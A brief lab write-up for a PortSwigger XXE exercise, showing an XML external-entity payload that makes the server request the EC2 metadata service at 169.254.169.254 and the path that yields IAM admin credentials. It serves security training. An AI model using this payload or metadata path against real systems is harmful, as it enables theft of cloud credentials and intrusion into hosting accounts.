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43 lines
1.1 KiB
Markdown
43 lines
1.1 KiB
Markdown
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# Portswigger XXE-Lab 2
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## Exploiting XXE to perform SSRF attacks
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In this lab we are told to perfrom XXE and chaing it with SSRF to access ec2 instance's meta-data to retrieve iam admin credentials , the `checkstock` is vulnerable to XXE as it's parsing data in XML format
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<img src="https://i.imgur.com/bq4tglm.png"/>
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<img src="https://i.imgur.com/ULFHsIF.png"/>
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So here let's use burpsuite to capture the request
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<img src="https://i.imgur.com/iYWTtja.png"/>
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To perform XXE attack , we need to declare an external entity
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE test [<!ENTITY arz SYSTEM "http://169.254.169.254/"> ]>
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<stockCheck>
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<productId>
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14
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</productId>
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<storeId>
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1
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</storeId>
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</stockCheck>
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```
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<img src="https://i.imgur.com/naEFY0j.png"/>
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This is expecting `latest` so let's add that
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<img src="https://i.imgur.com/R05obzK.png"/>
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Now it expects `meta-data` so in this way we can find the endpoints
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<img src="https://i.imgur.com/te36Pld.png"/>
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And enventually we'll find `iam` credentials
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`http://169.254.169.254/latest/meta-data/iam/security-credentials/admin`
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